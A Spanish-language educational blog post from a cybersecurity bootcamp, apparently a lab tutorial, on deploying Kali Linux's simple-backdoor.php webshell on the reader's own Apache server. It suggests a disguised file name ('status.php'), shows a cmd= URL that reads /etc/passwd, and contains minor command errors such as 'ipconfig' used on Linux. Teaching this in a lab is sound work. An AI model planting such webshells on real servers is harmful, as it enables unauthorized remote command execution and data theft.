¿Cómo ejecutar una webshell?

| Última modificación: 22 de octubre de 2024 | Tiempo de Lectura: 3 minutos

Algunos de nuestros reconocimientos:

Premios KeepCoding

El siguiente tutorial trata de cómo ejecutar una webshell y está hecho con fines educativos, su propósito es el de entender las técnicas utilizadas por los ciberatacantes para vulnerar aplicaciones web.

Una webshell es una aplicación web muy pequeña que sirve para ejecutar comandos de manera remota en una aplicación vulnerada. Es una técnica que se utiliza frecuentemente en ciberataques web y, por eso, es importante aprender a replicar este proceso en test de intrusión.

El sistema operativo especial para auditorías de seguridad Kali Linux cuenta con un directorio que contiene seis tipos de webshells diferentes y catorce herramientas de estas en total.

En este post, veremos cómo ejecutar una webshell de Kali Linux en un servidor propio de sistema. Este ejercicio de pentesting nos permitirá poner a prueba estos programas de ejecución remota de código en aplicaciones web y entender cómo acceder a ellos. A continuación, te enseñaremos el proceso para hacerlo.

¿Cómo ejecutar una webshell?

Lo primero que debes hacer para realizar este ejercicio es crear una máquina virtual con sistema operativo Kali Linux. Para ello, puedes seleccionar tu software de virtualización de preferencia. Algunas opciones populares son VMware, VirtualBox y KVM.

Después de haber creado tu máquina virtual, podemos comenzar con el proceso de cómo ejecutar una webshell con Kali Linux.

Arranca el servidor

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Para arrancar un servidor con el sistema de Kali, utiliza el comando:

service apache2 start

Si no lo tienes instalado aún, utiliza:

apt install apache 2

Si el programa te pide actualizarlo, ejecuta:

apt update

Ahora, si deseas probar que el servidor esté funcionando correctamente, usa el comando:

service apache2 status

Entra al servidor

El siguiente paso para ejecutar nuestra webshell es acceder al servidor desde un navegador. Para ello, abre tu navegador de preferencia y accede a la dirección IP de tu máquina de Kali. Si aún no conoces tu dirección IP, puedes averiguarla al ejecutar el siguiente comando en una terminal:

ipconfig

Selecciona tu webshell

Al aprender cómo ejecutar una webshell, verás que Kali Linux ofrece una variedad de herramientas para atacar diferentes tipos de servidores. Dado que Apache 2 utiliza el lenguaje de programación PHP, para este ejemplo elegiremos una webshell escrita en este lenguaje.

Para ver todas las webshells disponibles en Kali Linux, dirígete al directorio:

usr/share/webshells

Para ver las opciones de webshells en PHP, ingresa a:

usr/share/webshells/php

Para seleccionar la webshell simple.backdoor.php, ejecutaremos el comando:

cat simple.backdoor.php

De ese modo, veremos el contenido del código fuente de la webshell, que es bastante pequeño. Para usar esta webshell, debemos acceder al dominio de la misma, que tendrá la siguiente estructura:

http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

Para poner a funcionar esta webshell, debemos copiarlo en el servidor de Apache 2 que creamos. Este se encontrará, por defecto, en la ruta “var/www/html“. Para copiar la webshell allí, usaremos el comando:

cp simple-backdoor.php /var/www/html/nombre_de_la_webshell.php

Para el nombre de la webshell, no podemos escoger algo obvio. Para ser más realistas, te recomendamos elegir un término con algo de disimulo, por ejemplo, “status.php“:

cp simple-backdoor.php /var/www/html/status.php

Ejecuta comandos con la webshell

El último paso de cómo ejecutar una webshell con Kali Linux es el de enviar comandos de manera remota a la aplicación. Para ello, desde tu navegador, accede al servidor de Apache 2 ingresando la dirección IP de tu máquina en un navegador. Si, por ejemplo, la dirección IP de tu máquina de Kali fuese 192.168.172.138, ingresarías del siguiente modo al servidor como atacante:

http://192.168.172.138

Para ejecutar códigos de forma remota en el servidor, utiliza la siguiente estructura:

http://192.168.172.138/status.php?cmd=comando

Reemplaza el valor “comando” por cualquier comando de Linux que desees ejecutar en el servidor y, de este modo, podrás utilizar la webshell que has creado.

Por ejemplo, para ejecutar el comando “ipconfig”, en este ejemplo, ingresaríamos a la dirección URL:

http://192.168.172.138/status.php?cmd=ipconfig

Así, el servidor nos arrojaría información sobre su dirección IP.

¿Cómo aprender más?

Ya hemos visto qué es y cómo ejecutar una webshell con Kali Linux. Si quieres aprender más técnicas de hacking ético, en KeepCoding tenemos un curso intensivo diseñado para que te adentres y triunfes en el mercado laboral de este sector. Ingresa a nuestro Ciberseguridad Full Stack Bootcamp y conviértete en un verdadero especialista en tan solo 7 meses. Aprende en clases en vivo sobre temas como pentesting, criptografía, análisis de malware, recopilación de información y mucho más. ¡No sigas esperando e inscríbete ahora!

Carlos Cilleruelo

CEO and co-founder of Byron Labs & Coordinador del Bootcamp en Ciberseguridad.

Posts más leídos

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado